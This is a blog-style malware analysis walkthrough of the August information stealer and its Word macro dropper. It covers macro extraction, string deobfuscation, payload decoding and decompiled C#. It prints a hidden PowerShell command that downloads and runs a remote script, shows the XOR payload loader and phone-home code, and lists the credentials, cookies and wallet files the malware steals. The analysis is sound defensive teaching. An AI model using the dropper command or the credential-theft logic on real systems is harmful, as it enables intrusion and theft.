OK, so a while back (a few weeks ago) I got a malicious word document from a friend of a friend of an enemy. I though it would be kind of fun to dig into it and see what’s in it. I’ve also been wanting to do a post on something related to malware. So, two birds, one stone. Let’s do this.
I present to you, an analysis of the August information stealer (and associated dropper). August is a fairly new information stealer that has recently had a few articles/blog posts written on it.
See: https://www.proofpoint.com/uk/threat-insight/post/august-in-december-new-information-stealer-hits-the-scene
This post is more about the process of analyzing the sample, rather than the conclusions drawn from the analysis. I have a copy of the original sample available for people to follow along.
Download Link: August Information Stealer Word Doc Sample. The password is “malware”.
A note on handling malicious stuff:
Please excercise caution when handling this sample or any other malicious files. Malware can potentially do bad things to your machine. Handling this stuff in a VM is usually a good idea. I’d recommend a VM with no network connection (unless needed). That should be adequate.
Throughout the analysis, I use no commercial products other than a copy of Windows. Even poor college students can follow along. I’m done blabbing. Let’s start already.
Our sample is a simple Word document. Running the ‘file’ utility on it, we can see it’s the more recent Word format (i.e. .docx).
username@desktop:~/sample$ file sample.doc sample.doc: Microsoft Word 2007+
This file format is actually just a zip file with a bunch of xml (and other) files inside it.
See https://en.wikipedia.org/wiki/Office_Open_XML for (a little bit) more info.
username@desktop:~/sample$ unzip -l sample.doc Archive: sample.doc Length Date Time Name --------- ---------- ----- ---- 1761 1980-01-01 00:00 [Content_Types].xml 590 1980-01-01 00:00 _rels/.rels 1607 1980-01-01 00:00 word/_rels/document.xml.rels 13731 1980-01-01 00:00 word/document.xml 6846 1980-01-01 00:00 word/theme/theme1.xml 277 1980-01-01 00:00 word/_rels/vbaProject.bin.rels 538 1980-01-01 00:00 word/media/image3.wmf 1437 1980-01-01 00:00 word/media/image2.png 13910 1980-01-01 00:00 word/media/image1.png 44032 1980-01-01 00:00 word/vbaProject.bin 977 1980-01-01 00:00 word/media/image4.png 2247 1980-01-01 00:00 word/vbaData.xml 3089 1980-01-01 00:00 word/settings.xml 1525 1980-01-01 00:00 word/fontTable.xml 287 1980-01-01 00:00 word/activeX/_rels/activeX1.xml.rels 299 1980-01-01 00:00 word/activeX/activeX1.xml 3072 1980-01-01 00:00 word/activeX/activeX1.bin 28389 1980-01-01 00:00 word/styles.xml 711 1980-01-01 00:00 docProps/app.xml 727 1980-01-01 00:00 docProps/core.xml 497 1980-01-01 00:00 word/webSettings.xml --------- ------- 126549 21 files
Let’s go ahead and actually unzip it and take a look inside.
Typically, malicious word documents are malicious because there are malicious macros in them. The ‘word/vbaProject.bin’ is where those are stored.
What kind of file is this anyway?
username@desktop:~/sample/word$ file vbaProject.bin vbaProject.bin: Composite Document File V2 Document, Cannot read section info
Side note:
WTF is a Composite Document File?
See: https://en.wikipedia.org/wiki/Compound_File_Binary_Format
TLDR: It’s sort of like a tar file.
Let’s run ‘strings’ on it and see what we find.
username@desktop:~/sample/word$ strings vbaProject.bin ... REhvrAnWpTuScuzRZtjfl utiQEdhHLEqcbUpS.jcsMd oiInJpMCazusTtvec gPncOa ub itUeegae ZBtoldfnRrlNGcs ietxkkwHRcnFlsZWIJzgeet tqa ak onwHYdSqBdtsscutbeCF sbksDCTCTzkKvahqA pA Jiso h w-bydsw-Ue-ewyqd enrleY pGe-roglpthapncs i:oUW'/i rl'bohenDsuoe/snehmeNid)jae.eoipNn/oUbtixen. edwawwndZtkfECtcGtgd|cSos-ngaz)rtLlprv.(e ttrpoltt(.u/k ...
This file contains the actual macros themselves, so seeing strings like this is just a tad bit super fucking suspicious.
Side note:
The ‘strings’ utility by default searches for ascii strings. Windows uses a lot of UTF-16 internally. You can make ‘strings’ search for UTF-16 strings by using the ‘-el’ option. Look at the ‘man’ page for more details on support for various encodings.
So we need to get the actual macros out of the vbaProject.bin file. We’re also poor, and don’t have a copy of Word. Fortunately, there are a bunch of tools to do exactly this.
There really are a whole bunch, but this is what I used: http://www.decalage.info/python/oletools
So let’s run the olevba.py script from oletools on vbaProject.bin:
username@desktop:~/sample/word$ ~/Downloads/oletools-0.46/oletools/olevba.py vbaProject.bin ... +------------+----------------+-----------------------------------------+ | Type | Keyword | Description | +------------+----------------+-----------------------------------------+ | Suspicious | CallByName | May attempt to obfuscate malicious | | | | function calls | | Suspicious | Hex Strings | Hex-encoded strings were detected, may | | | | be used to obfuscate strings (option | | | | --decode to see all) | | Suspicious | Base64 Strings | Base64-encoded strings were detected, | | | | may be used to obfuscate strings | | | | (option --decode to see all) | +------------+----------------+-----------------------------------------+
It prints out the macros and gives us a little thing at the end.
You’ll notice that the macros are all obfuscated. This is pretty typical.
At this point, we can either trace through the code by hand, or we can just modify the code slightly to print out the good bits.
Since every malicious word document I’ve ever looked at has basically just acted as a dropper, I say “Fuck it, just deobfuscate the strings” (i.e. option 2).
VBA (what the macros are written in) is very similar to VB script, which we can run on Windows. It’s often possible to convert VBA macros into VBscript so we can run them directly, without a copy of Word.
Looking through the code, it looks like the “p” function is getting called a lot and is getting passed obfuscated strings. This is probably the deobfuscation function. If we grep out all the “p” function calls, we can add some sort of “print” function to the begining of each of those lines, and run that code to get the deobfuscated strings.
Our end goal is to get a bunch of lines that look something like this:
print p(obfuscated_string_1) print p(obfuscated_string_2) print p(obfuscated_string_3) ...
Let’s run olevba.py on vbaProject.bin again, but redirect the output to a file. Then we open it in a text editor and chop off the very top and bottom so we only have the macro code left.
The resulting file should start with:
Dim oIsne As Boolean Public Sub vxlSq() If oIsne Then Exit Sub
And end with:
Public Function pHuhuCv() As String pHuhuCv = p(322, "i:oUW'/i rl'bohenDsuoe/snehmeNid)jae.eoipNn/oUbtixen. edwawwndZtkfECtcGtgd|cSos-ngaz)rtLlprv.(e ttrpoltt(.u/k", 1002) End Function
Before we actually modify the functionality of the code, let’s get it working as vbscript. Then we’ll add the code to print the deobfuscated strings.
Side note:
Some macros are harder to convert to vbscript than others. It turns out this one was pretty easy.
We copy the macro code to our windows vm as a file with a ‘.vbs’ extension. We’ll be copying files back and forth between the VM and our host system, so it’s probably a good idea to set up a shared folder or SMB share (or something) to make this easier.
Side note:
On windows, you can execute VBScript with two different interpreters, cscript.exe and wscript.exe. These are the console and windows (gui) versions, respectively. It’s probably not quite right to refer to them as different interpreters, but whatever. We’ll be using the console version (cscript).
Side note 2:
I do mean “SMB”, and not “CIFS”. See: http://blog.fosketts.net/2012/02/16/cifs-smb/. Although CIFS will work fine too.
First, let’s just try running it as is:
OK, first problem, first line.
Dim oIsne As Boolean
So VBA lets you specify types, while VBScript does not. We can actually just get rid of the ‘As Type’ stuff, and things will usually still work ok.
In vim:
:%s/ As Boolean//g :%s/ As String//g :%s/ As Integer//g
Let’s try again.
Now we have a problem with this function:
Public Sub fARgUqs() On Error GoTo MBZsm qiQDgbp oGibPw VqwxYg Exit Sub MBZsm: End Sub
The ‘On Error’ line is causing problems now.
I have no idea what this function does, or if the ‘On Error’ part is important. Shit. Who needs error handling anyway? Also, we have undo.
The new and improved version:
Public Sub fARgUqs() 'On Error GoTo MBZsm qiQDgbp oGibPw VqwxYg 'Exit Sub 'MBZsm: End Sub
Side note:
In VBScript, lines that start with a single quote (‘) are comments. We just commented out three lines in the code above.
Side note:
Obfuscated (and non-obfuscated) code may actually need error handling. Error handling may also be used to make reverse engineering more difficult. Simply commenting it out won’t always work.
Run the script again, get an error again.
Line 56 this time:
Public Function KPWXVM(ParamArray bdSry()) KPWXVM = bdSry End Function
There is no ‘ParamArray’ in VBScript. We can actually just delete it. The ‘()’ after the parameter name already indicates that it’s an array anyway.
New line:
Public Function KPWXVM(bdSry())
And, try again.
Good. No more syntax errors.
You might be wondering if we actually just ran some malicious code on our VM. The answer is ‘no’. Macros in word documents basically consist of a bunch of function definitions and Word decides when to run those functions. If you look at our vbs file, it’s just a bunch of variables and functions definitions, no function calls, no code actually doing anything on its own.
Since the syntax is correct now, let’s go ahead and add the “print” lines to the bottom of the file. We’re leaving everything else (the giant mess of functions) in the file because we’re not sure which functions are actually required to deobfuscate stuff. The ‘p’ function calls a function, which calls another function, etc.
Let’s pull out all of the ‘p’ lines:
username@desktop:~/hdemo/blue$ grep ‘p(‘ vbaProject.vbs > p_lines
We can get pretty complex with the grep line, but this is easy, let’s not over do it.
Look through the results and pull out a few lines that shouldn’t be in there:
Public Function p(ByVal egAeg, ByVal krivxHq, ByVal wqInCB) Public Sub qiQDgbp() Public Function hIIDPp()
After removing those three lines, all of the remaining lines should look like this:
... UxKetDK = p(57, "jcIrdCqHIMkdPUesEMdN", 217) eWllwgg = p(185, "REhvrAnWpTuScuzRZtjfl", 40) KVgJVuH = p(139, "utiQEdhHLEqcbUpS.jcsMd", 171) DHMWf = p(92, "oiInJpMCazusTtvec", 44) ...
We’re going to paste these lines back into the bottom of the vbscript file in a minute, but we need to replace the ‘ = p(‘ with ‘Wscript.Echo p(‘ first.
Wscipt.Echo is “some sort of print function”, fyi. On each line, we’ll be calling the deobfuscation function (p), then printing the output to the console.
Let’s do the replacement:
username@desktop:~/sample.data$ sed -i 's/^[a-zA-Z]\+ =/Wscript.Echo/g' p_lines
Don’t be scared. ‘sed’ is your friend.
Our lines should now look like this:
... Wscript.Echo p(57, "jcIrdCqHIMkdPUesEMdN", 217) Wscript.Echo p(185, "REhvrAnWpTuScuzRZtjfl", 40) Wscript.Echo p(139, "utiQEdhHLEqcbUpS.jcsMd", 171) Wscript.Echo p(92, "oiInJpMCazusTtvec", 44) ...
Let’s use the ‘cat’ program to actually concatenate some stuff.
username@desktop:~/sample.data$ cat vbaProject.vbs p_lines > vbaProject_echo.vbs
Now ‘vbaProject_echo.vbs’ contains the original macro code with some ‘Wscript.Echo p(‘ lines appended to the end.
Let’ go ahead and try to run this, and yes, we will be running malicious code this time.
Sweet. It worked.
This outcome was far from guaranteed. I didn’t actually know everything the ‘p’ function actually did. Macros can interact with the document they’re stored with, which means extracting and running the code manually may not always be so trivial.
Let’s look at our stuff though. It looks like it is making a request to a Maxmind page. This page, in addition to showing your ip, also displays some info about who it thinks your ISP is. This is followed by a list of words that it’s probably checking for in the page that was returned so it can bail out if it looks like it’s connecting from a government’s/security company’s system. We can’t say that with certainty though unless we examine the rest of the code, or at least test it out experimentally. It looks like it’s also probably checking if a few different security tools are running (or maybe just installed). From the bottom two lines, it looks like it’s downloading a powershell script and running it:
powershell -w hidden -nop -ep bypass -c (new-object Net.WebClient).DownloadString('http://krusingtheworld.de/microsoft/update.asp') | iex
Let’s go ahead and download this file ourselves.
Ok, well we can’t anymore.
This sample is from weeks or months ago and the payload isn’t there anymore.
It’s cool. I have a copy.
Download link: August Information Stealer Payload Sample.
This zip file contains the data exactly as downloaded from the web server as well as a deobfuscated version of the DLL file (which we’ll talk about later). The password is “malware”. The warning for the first download applies here too.
Side note:
When downloading payloads (and stuff), it’s important to make sure your requests match the bot/dropper/whatever requests as closely as possible. Make sure all the HTTP headers are set correctly, make sure redirects are handled the same way, etc. It’s oftentimes easier to just let the malware download the data you’re interested in and pull it out a packet capture (or use a proxy). You may also want to use a commercial VPN service (cheap), a VPS set up as a VPN (e.g. AWS, Google Compute, Digital Ocean, etc) (also cheap), free public wifi (have to find a Starbucks), or even Tor (free) to connect to any servers associated with the malware.
Let’s take a look at this thing it downloads.
username@desktop:~/sample.data/remote/n2$ file kruse_payload.file kruse_payload.file: ASCII text, with very long lines, with no line terminators
OK, a text file. What is it exactly?
[Byte[]] $bytes = @(0x07,0x10,0xda,0x4a,0x49,0x4a,0x4a,0x4a,0x4e,... ...0x4a,0x4a,0x4a,0x4a);for($i=0;$i -lt $bytes.count;$i++){$bytes[$i] = $bytes[$i] -bxor 0x4a}[System.Reflection.Assembly]::Load($bytes);[August_.Program]::Main("")
So a powershell script. That makes sense considering the last two lines of deobfuscated strings.
We have a giant byte array and at the end, we XOR each byte with 0x4a, load the data as a dll (basically, https://msdn.microsoft.com/en-us/library/h538bck7(v=vs.110).aspx ) and call [August_.Program]::Main(“”).
Cool. This giant thing (all the data downloaded) gets passed to powershell on the commandline, so no new file touches the disk. This is what people call “fileless” I guess.
Side note:
Huge kudos to the ProofPoint guys for putting “fileless” in quotes in their post.
Let’s pull out the binary data.
So how do turn the ascii text into actual binary data? The easiest way would probably be to modify the end of the powershell script we downloaded to write the data to a file instead of loading and running it. But I’m a dumbass, and that somehow didn’t actually occur to me until I was writing this post, so I’m going to show you a longer way to do it with bash.
The plan is to change how the bytes are represented in text from this (0x01) to this (\x01) and just ‘echo’ the line with the ‘-e’ option.
Sed fu:
username@desktop:~/sample.data/remote/n2$ sed -i 's/,0x/\\x/g' kruse_payload.file
Then we manually fix/remove the beginning and end.
[Byte[]] $bytes = @(0x07\x10 -> echo -ne '\0x7x10
and
\x4a\x4a);for($i=0;$i -lt $bytes.count;$i++){$bytes[$i] = $bytes[$i] -bxor 0x4a}[System.Reflection.Assembly]::Load($bytes);[August_.Program]::Main("") -> \x4a\x4a'
Our file is now just a giant echo statement.
Run it and redirect the output:
username@desktop:~/sample.data/remote/n2$ bash kruse_payload.file > kruse_payload.step2
Side note:
Fucking giant 400k one line text files, or maybe fucking text editors with poor performance when editing 400K one line files.
Because we’re doing this the hard(er) way, we still have to deobfuscate the binary data (i.e. unxor it).
There are a million ways to do it, but I used a small python script ( http://tomchop.me/2012/12/yo-dawg-i-heard-you-like-xoring/ ). It’s pretty cool. It does some other things too.
We know the key (0x4a). Lets unxor it:
username@desktop:~/sample.data/remote/n2$ ~/Downloads/unxor.py -k 4a kruse_payload.step2 kruse_payload.unxored username@desktop:~/sample.data/remote/n2$ file kruse_payload.unxored kruse_payload.unxored: PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
BAM!
.Net stuff. It’s (usually) easier to reverse. Let’s take a look.
For reversing .net stuff, you can use monodevelop. It’s open source and cross platform (Windows, Linux, Mac). It’s also in Ubuntu’s repo. It’s not neccessarily obvious how you open a compiled file with it to view the byte code assembly (or whatever you call it) or, even better, hopefully fairly representative C#. It’s just File->Open, select the binary (DLL, for us).
Let’s open up the DLL we downloaded and set “Visibility” to “All Members” and “Language” to “C#”.
Now we can see the “August Main” thing referenced in the powershell code we downloaded. Select it to look at the code for that method.
Turns out it’s obfuscated. There’s always one more step.
We don’t actually know what tool was used to obfuscate it at this point, but if we just google about deobfuscating .net stuff, we’ll find de4dot ( https://github.com/0xd4d/de4dot ). It can identify and deobfuscate code produced by a bunch of common obfuscators.
I’m lazy, so I just used the Windows binary of de4dot. I’m usually pretty hesitant about running strange binaries from the internet, but it’s probably not malicious and I’m running it in a VM, so it’s probably safe. Probably.
We just drag our obfuscated DLL onto the de4dot binary and after a few seconds, it’ll produce a “-cleaned” (deobfuscated) version of the DLL and will tell us that it detected that Confuser v1.9 ( https://confuser.codeplex.com/ ) was used to obfuscate it. It looks like Confuser was last updated in 2012 and is no longer maintained.
If we open up the deobfuscated version of the DLL, we’ll get some pretty damn readable C#.
Side Note:
In the particular version of monodevelop that I was using, I noticed that if I already had the obfuscated version of the DLL open, doing File->Open on the deobfuscated DLL wouldn’t update the code displayed on the screen. I had to close the obfuscated file before opening the deobfuscated version.
There’s a lot of fun stuff to look through here, but let’s start with the method that’s getting called from powershell.
It looks like Program.smethod_0 performs an initial call home, with some information collected from Class9.
The relevant bit of code:
try { array = Program.smethod_0 (new List<string> { Class9.smethod_2 (), Class9.smethod_1 (), Environment.UserName }, 4, 9).Split (new string[] { Program.Seperator }, StringSplitOptions.None); } catch { }
Let’s figure out what the value of the arguments are before we dig into Program.smethod_0.
Class9.smethod_2:
public static string smethod_2 () { if (string.IsNullOrEmpty (Class9.string_0)) { Class9.string_0 = Class9.smethod_6 (string.Concat (new string[] { "AUG -% 0: CPU[", Class9.smethod_3 (), "] BASE[", Class9.smethod_8 (), "] BIOS[", Class9.smethod_9 (), "]" })); for (int i = 0; i < Class9.string_0.Length; i++) { if (i % 5 == 4) { Class9.string_0 = Class9.string_0.Insert (i, "-"); } } } return Class9.string_0; }
We’re concatenating Class9.smethod_3, Class9.smethod_8, and Class9.smethod_9, and passing the result into method Class9.smethod_6. The “AUG” part of the string may or may not be an abreviation for the August. Class9.smethod_3, Class9.smethod_8, and Class9.smethod_9, all end up calling Class9.smethod_5 to collect information on the system.
Let’s take a quick look at Class9.smethod_5 so the others will make more sense:
private static string smethod_5 (string string_1, string string_2) { string text = string.Empty; try { foreach (ManagementBaseObject current in new ManagementClass (string_1).GetInstances ()) { if (string.IsNullOrEmpty (text)) { try { text = current [string_2].ToString (); break; } catch { } } } } catch { } return text; }
This uses the ManagementClass class to retrieve data from WMI. There isn’t a whole lot to it. You can read a bit about it here ( https://msdn.microsoft.com/en-us/library/system.management.managementclass(v=vs.110).aspx ).
Side Note:
In WMI, “Baseboard” == “Motherboard”.
Now, we can look at Class9.smethod_3, Class9.smethod_8, and Class9.smethod_9. All of them just make some calls to Class9.smethod_5 to retrieve some info about the CPU and motherboard.
Class9.smethod_6 simply returns the MD5 hash of whatever data it’s passed in. It looks like the this is just used as an ID number to identify the machine.
That’s it for Class9.smethod_2. I could have just told you it collects some hardware info and hashes it, but where would the fun be in that?
Next is Class9.smethod_1:
public static string smethod_1 () { string str = "Unknown"; using (ManagementObjectSearcher managementObjectSearcher = new ManagementObjectSearcher ("SELECT * FROM Win32_OperatingSystem")) { using (ManagementObjectCollection.ManagementObjectEnumerator enumerator = managementObjectSearcher.Get ().GetEnumerator ()) { if (enumerator.MoveNext ()) { str = ((ManagementObject)enumerator.Current) ["Caption"].ToString (); } } } return str + " x" + (Class9.bool_1 ? "64" : "32"); }
This makes a WMI query to get the OS version and architecture. From the code, it’s not obvious that it’s grabbing the OS version. The code is iterating through the items returned from the query and keeping the last one. The last one happens to be the OS version. The order of items returned appears to be consistent, but I doubt Microsoft would recommend doing this.
You’ll notice that the WMI query appears very similar to a SQL query. The WMI query language is actually called WQL, fyi. Here are some interesting links: https://msdn.microsoft.com/en-us/library/system.management.managementobjectsearcher(v=vs.110).aspx and http://www.darkoperator.com/blog/2013/3/11/introduction-to-wmi-basics-with-powershell-part-3-wql-and-se.html
We’re finally done looking through the Class9 crap (mostly). It’s just stuff related to collecting system info.
Back to the August Main method, we finally have know what’s being passed into the phone home method (Program.smethod_0).
So, Program.smethod_0:
private static string smethod_0 (List<string> list_0, short short_0, short short_1) { if (short_0 > short_1) { return null; } if (Class7.smethod_0 ()) { Thread.Sleep (20000); return Program.smethod_0 (list_0, short_0, short_1); } string result; try { string text = Class9.smethod_0 (Class9.smethod_10 ((int)short_0, (int)short_1)); list_0.Insert (0, text); string str = Data.Encrypt (string.Join (Program.Seperator, list_0.ToArray ()), text); HttpWebRequest httpWebRequest = (HttpWebRequest)WebRequest.Create (new Uri (Program.string_0)); httpWebRequest.AllowAutoRedirect = true; httpWebRequest.MaximumAutomaticRedirections = 2; httpWebRequest.Method = "POST"; httpWebRequest.UserAgent = Data.Encrypt (text, null); httpWebRequest.Accept = "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8"; httpWebRequest.Timeout = 100000; httpWebRequest.ContentType = "application/x-www-form-urlencoded"; if (Program.cookieContainer_0 != null) { httpWebRequest.CookieContainer = Program.cookieContainer_0; } byte[] bytes = Encoding.UTF8.GetBytes ("q=" + str); httpWebRequest.ContentLength = (long)bytes.Length; Stream expr_E1 = httpWebRequest.GetRequestStream (); expr_E1.Write (bytes, 0, bytes.Length); expr_E1.Close (); HttpWebResponse httpWebResponse = (HttpWebResponse)httpWebRequest.GetResponse (); if (Program.cookieContainer_0 != null) { Program.cookieContainer_0.Add (httpWebResponse.Cookies); } result = Data.Decrypt (new StreamReader (httpWebResponse.GetResponseStream (), Encoding.UTF8).ReadToEnd (), text); } catch { result = string.Empty; } return result; }
We’re not going to dig into this one in as much detail.
Near the beginning, there is a call to Class7.smethod_0.
This method gets a process list checks for a few specific processes that belong to common packet sniffers. If it doesn’t find any, we continue on to some “encryption” stuff.
Side Note:
A pet peave of mine is encryption that isn’t encryption. It’s not hard to actually encrypt stuff, especially in C#. I’d rather see poorly implemented or weak cryptography than this crap.
Here’s the encryption routine so you can be as embarrassed for the author of this as I am.
public static byte[] Encrypt (byte[] InputData, string Key = null) { byte[] array = (!string.IsNullOrEmpty (Key)) ? Encoding.UTF8.GetBytes (Key) : new byte[1]; byte[] array2 = new byte[InputData.Length]; int num = 0; for (int i = 0; i < array2.Length; i++) { if (array.Length == num) { num = 0; } array2 [i] = (byte)((int)InputData [i] + i + (int)array [num]); num++; } Array.Reverse (array2); return array2; }
The rest of Program.smethod_0 is setting up and making an HTTP request and then “decrypting” the response.
If we go back to the Program.Main method, we can see how the data from the HTTP response is used.
The HTTP response is saved as an array of strings (given the identifier “array” in monodevelop). These string will consist of “1”s and “0”s (as numerals) or sometimes additional data in string form. There are a bunch of “if” statements that follow, each checking for a “1” in a different position in the array. Each “if” block checks for a certain kind of data on the system and calls Program.smethod_0 to upload the results.
I’m not going to analyze all of the code in a great deal of detail (there’s quite a bit of it). I have a quick run down of what each position in the array does.
array[0]:
If set to “1”, the software collects and decrypts saved Chrome passwords. See http://null-byte.wonderhowto.com/how-to/grab-all-passwords-0163301/ for an example of how it actually does this. (Sorry that site is so ad-ridden). It then collects saved passwords for the default Firefox profile. It appears to be unable to decrypt the saved firefox passwords if a master password is set.
array[1]:
If set to “1”, the software collects and decrypts Chrome cookies. It then collects Firefox cookies, from all profiles this time.
array[2]:
If set to “1”, the software will search for files matching one of the supplied search patterns. Now hang with me here, this gets slightly convoluted.
array[3] contains a ‘|’ separated list of search patterns to use. (e.g. “*.doc|*.xls|*.csv|*.jpg”)
array[10] controls which directories are searched.
array[10] == 3: Search the root of each drive (e.g. C:\, D:\, Z:\, etc)
array[10] == 2: Search “My Documents”
array[10] == anything else: Search the desktop
array[5] controls whether to search sub directories or only the top level directory.
array[5] == 2: Search all directories (including sub directories)
array[5] == anything else: search only the top directory, don’t decend into sub directories
In addition, array[4] contains a maximum file size as a string. Any file over that size will not be uploaded.
In any case, everytime a matching file is found (that isn’t too large), it is uploaded in its entirety with a call to Program.smethod_0.
array[6]:
If set to “1”, the software will search for and upload a few different files related to Bitcoin wallets.
It searches for:
Electrum Bitcoin Wallets (all files in %appdata%/Electrum/wallets/).
Bither Bitcoin Wallet (address.db located somewhere in %appdata%/Bither/)
Unknown Wallet Files (wallet*.dat located somewhere in %appdata%/)
array[7]:
If set to “1”, the software pulls some credentials out of the Windows credential store along with stored passwords for Pidgin (the IM software) and Psi (XMPP client). It searches for credentials using the filter “WindowsLive:name=*”. I don’t have a list of credentials and/or tokens that might be retrieved from this, but I know it includes (the ancient) Windows Messenger.
It then searches for all files named “accounts.xml” in %appdata%. If the file path contains “.purple”, it is parsed as a Pidgin file, otherwise it is parsed as a Psi file.
array[8]:
If set to “1”, the software will search for and upload credentials stored by a bunch of FTP clients.
It searches for:
CuteFTP Site Manager File (sm.dat located somewhere in %appdata%/Globalscape/)
WinSCP stored usernames, passwords, and hostnames (from the registry)
Total Commander saved FTP usernames, passwords, and hosts (from the FTP ini file, at the location specified in the registry)
CoreFTP saved FTP usernames, passwords, and hosts (from %appdata%/CoreFTP/sites.idx and the registry)
SmartFTP saved FTP usernames, passwords, and hosts (*.xml located somewhere in %appdata%/SmartFTP/)
FileZilla saved FTP usernames, passwords, and hosts (recentservers.xml and sitemanager.xml both located somewhere in %appdata%/FileZilla/)
array[9]:
If set to “1”, the software searches for and uploads all *.rdp files it finds on all drives on the system. The maximum file size to upload is present as a string in array[4]. Any .rdp files found that are lager than that size will not be uploaded. .rdp files contain information for remote desktop connections and can include the username and password hash. Either crack the hash or pass it ( https://en.wikipedia.org/wiki/Pass_the_hash and https://www.kali.org/penetration-testing/passing-hash-remote-desktop/ ).
array[11]:
If set to “1”, the software collects and uploads stored Thunderbird passwords. It attempts to decrypt the stored passwords the same way it attempts to decrypt Firefox passwords. Like with saved Firefox passwords, it does not appear to be able to decrypt stored passwords if a master password is set.
Once it’s done checking for whatever the “1”s specified it should, it does the always popular self deleting .bat thing.
Side Note:
Why not ‘%comspec% /C “ping -c 0.0.0.0 | del “‘? Anyone? You know, since “fileless” is so leet and all.
So, that’s basically it. We’re done looking at it.
I hope I’ve accomplished three things with this post:
1. Shown people that this stuff is nowhere near as hard as it looks.
If you’ve never done something like this before, give it a shot. You might succeed, and even if you don’t, you’ll probably learn a whole bunch in the process. Really, it’s not that hard, just go for it. Oh, and you can do it on the cheap too.
2. Shown people that malware is beautiful.
It’s art. Just like all types of art, not every piece is beautiful (this one certainly isn’t), but without the ugly art you wouldn’t appreciate the masterpieces so much. Every once in a while I’ll see a piece of malware that the author clearly took pride in and it makes me feel just a bit better about humanity. Even the ugly malware has a certain charm about it. Because ultimately if someone steals your money with malware, do you care how well written it was?
3. Shown people what this particular piece of malware does.
Even if you don’t particularly care about malware or reversing at all, if information in this post helped, then awesome.
If I made any mistakes in my analysis or missed anything, please let me.
Peace out guys.